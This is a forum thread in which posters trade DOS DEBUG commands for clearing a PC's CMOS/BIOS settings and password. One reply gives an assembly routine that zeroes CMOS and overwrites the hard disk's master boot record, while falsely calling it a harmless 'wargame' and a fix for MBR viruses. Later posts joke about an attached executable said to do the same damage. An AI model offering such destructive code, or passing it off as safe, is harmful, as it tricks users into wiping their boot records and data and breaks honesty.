Erase BIOS contents

Enter the commands in the Dos prompt

DEBUG
-o 70 2e
-o 71 ff
-q


VOILA !! ... AllZ HISTORY .

Exactly why would you do this...? and how would you get new contents for the BIOS then?

Hmmm... i know people who keep passwords right in the booting start up... The password and all the other " NOT SO IMPORTANT" contents can be erased with these commands .The BIOS settings can be manually configured again !!!

If I have set a power on password in the BIOS, how do I get to the DOS prompt in the first place?

The machine will run setup before DOS so why not just set factory defaults reboot and start again?

Am I missing something here?

Cheers

That's funny.........All you did was moved two bytes, then exited....nothing executes....which means nothing happens.

Actually, the correct syntax would be:

debug
-a
-mov ax,0
-mov ax,cx
-out 70,al
-mov ax,0
-out 71,al
-inc cx
-cmp cx,100
-jb 103
-int 20
<enter> Note: Blank line
-g
-q

You might want to read a debug tutorial and learn some assembler. A good one is here.

or better yet why don't I teach you an assembler lesson, Waveshifter:

Type this in to erase your BIOS and both copies of the MBR on your HDD: (don't worry....it's only a wargame ;) )

debug
-fcs:200 400 0
-acs:100
-xxxx:0100 mov ax, 0
-xxxx:0103 mov ax, cx
-xxxx:0105 out 70, al
-xxxx:0107 mov ax, 0
-xxxx:010a out 71,al
-xxxx:010c inc cx
-xxxx:010d cmp cx,100
-xxxx:0111 jb 103
-xxxx:0113 mov ax,302
-xxxx:0116 mov bx,200
-xxxx:0119 mov cx,1
-xxxx:011c mov dx,80
-xxxx:011f int 13
-xxxx:012l int 20
-xxxx:0123
-g
-q

This is really good to use if your computer is infected with an MBR virus.

I know assembler real good :D

Here's a better one:

Heee Hee!


Attached is a "benign version"

It is a zipped .exe file which I have checked very carefully...........On running it you will find that your pointer has turned into a gunsight, and that there are two rodents running across your screen............just shoot one and let go of your mouse......don't touch the keyboard either.........hint: the projectile is quite slow so you will have to take a lead on the target.

It will run on 3.1x (it is that old!!!), 95/98/98se and I have just tested it on XP (SP1)

At the end you get an advert for the website of a Dutch Finance House (I think) hitting a key or moving the mouse gets rid of it, so you should not do this until it has finished.

Enjoy!

Not quite a "wargame" but shooting and projectiles are involved :)

I'll bet your tomcat just loves that one!

Yeah.........he looks at the mice, but doesn't understand the spoofed messages
Hey 576869746568617 I hope that you tried it?

:D

I did! That was hilarious! I had forgotten how ugly the Windows 3.1 message boxes were!

OK.....you guys need to stop downloading that file....It really will erase your BIOS and your MBR......it wasn't a joke! :eek:

(OK, maybe not on WinNT/2K/XP, but for sure in Win9x :D
